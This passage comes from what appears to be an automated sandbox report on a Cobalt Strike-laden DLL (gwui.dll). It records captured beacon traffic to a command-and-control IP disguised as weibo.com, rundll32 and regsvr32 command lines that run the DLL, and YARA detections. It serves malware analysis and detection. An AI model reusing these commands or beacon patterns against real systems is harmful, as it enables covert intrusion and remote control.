5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:02 UTC 1249 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:02 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:02 UTC 1249 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

94 192.168.2.6 49942 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:02 UTC 1247 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:03 UTC 1251 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:02 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:03 UTC 1251 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

95 192.168.2.6 49943 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:02 UTC 1248 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:03 UTC 1252 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:03 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:03 UTC 1253 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

96 192.168.2.6 49944 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:05 UTC 1254 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:05 UTC 1255 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:05 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:05 UTC 1255 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

97 192.168.2.6 49945 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:06 UTC 1257 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:07 UTC 1258 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:06 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:07 UTC 1258 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

98 192.168.2.6 49946 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:06 UTC 1257 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:07 UTC 1260 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:07 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:07 UTC 1260 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

99 192.168.2.6 49947 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:07 UTC 1262 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:07 UTC 1262 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:07 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:07 UTC 1263 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

• loaddll64.exe

• cmd.exe

• regsvr32.exe

• rundll32.exe

• rundll32.exe

Statistics

Behavior
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Click to jump to process

Target ID: 1

Start time: 00:06:58

Start date: 09/02/2022

Path: C:\Windows\System32\loaddll64.exe

Wow64 process (32bit): false

Commandline: loaddll64.exe "C:\Users\user\Desktop\gwui.dll"

Imagebase: 0x7ff65da10000

File size: 140288 bytes

MD5 hash: 4E8A40CAD6CCC047914E3A7830A2D8AA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 
00000001.00000002.860401788.00000252DDCE0000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x64, Description: Detects CobaltStrike payloads, Source: 
00000001.00000002.859680337.00000252DBC10000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 
00000001.00000002.859680337.00000252DBC10000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Cobaltbaltstrike_Beacon_x64, Description: Detects CobaltStrike payloads, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: FireEye
Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: CobaltStrike_MZ_Launcher, Description: Detects CobaltStrike MZ header ReflectiveLoader launcher, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 
00000001.00000003.363165809.00000252DD8E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 2

Start time: 00:06:59

Start date: 09/02/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\gwui.dll",#1

Imagebase: 0x7ff7180e0000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

System Behavior

Analysis Process: loaddll64.exe PID: 7128, Parent PID: 2424

General

File Activities

Analysis Process: cmd.exe PID: 772, Parent PID: 7128

General
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Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Target ID: 4

Start time: 00:06:59

Start date: 09/02/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: regsvr32.exe /s C:\Users\user\Desktop\gwui.dll

Imagebase: 0x7ff7401d0000

File size: 24064 bytes

MD5 hash: D78B75FC68247E8A63ACBA846182740E

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x64, Description: Detects CobaltStrike payloads, Source: 
00000004.00000002.859489672.0000000000F20000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 
00000004.00000002.859489672.0000000000F20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 
00000004.00000002.860598009.0000000003450000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: Cobaltbaltstrike_Beacon_x64, Description: Detects CobaltStrike payloads, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: FireEye
Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: CobaltStrike_MZ_Launcher, Description: Detects CobaltStrike MZ header ReflectiveLoader launcher, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 
00000004.00000003.359212533.0000000003050000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 5

Start time: 00:06:59

Start date: 09/02/2022

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: rundll32.exe  "C:\Users\user\Desktop\gwui.dll",#1

Imagebase: 0x7ff613930000

File Activities

Analysis Process: regsvr32.exe PID: 1320, Parent PID: 7128

General

File Activities

Analysis Process: rundll32.exe PID: 4684, Parent PID: 772

General
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File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 
00000005.00000002.860504892.0000024696E70000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: Cobaltbaltstrike_RAW_Payload_https_stager_x64, Description: Detects CobaltStrike payloads, Source: 
00000005.00000002.860191836.00000246965A0000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 
00000005.00000002.860191836.00000246965A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: Cobaltbaltstrike_Beacon_x64, Description: Detects CobaltStrike payloads, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: Avast Threat Intel Team
Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: FireEye
Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: CobaltStrike_MZ_Launcher, Description: Detects CobaltStrike MZ header ReflectiveLoader launcher, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - Mozilla/5.0, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: Florian Roth
Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CobaltStrike_4, Description: Yara detected CobaltStrike, Source: 
00000005.00000003.360293137.0000024696A70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

File Path Offset Length Completion Count Source Address Symbol

Target ID: 6

Start time: 00:07:00

Start date: 09/02/2022

Path: C:\Windows\System32\rundll32.exe

Wow64 process (32bit): false

Commandline: rundll32.exe C:\Users\user\Desktop\gwui.dll,DllRegisterServer

Imagebase: 0x7ff613930000

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Yara matches: Rule: CobaltStrike_Sleep_Decoder_Indicator, Description: Detects CobaltStrike sleep_mask decoder, Source: 
00000006.00000002.860402726.0000017B0E320000.00000020.00001000.00020000.00000000.sdmp, Author: yara@s3c.za.net
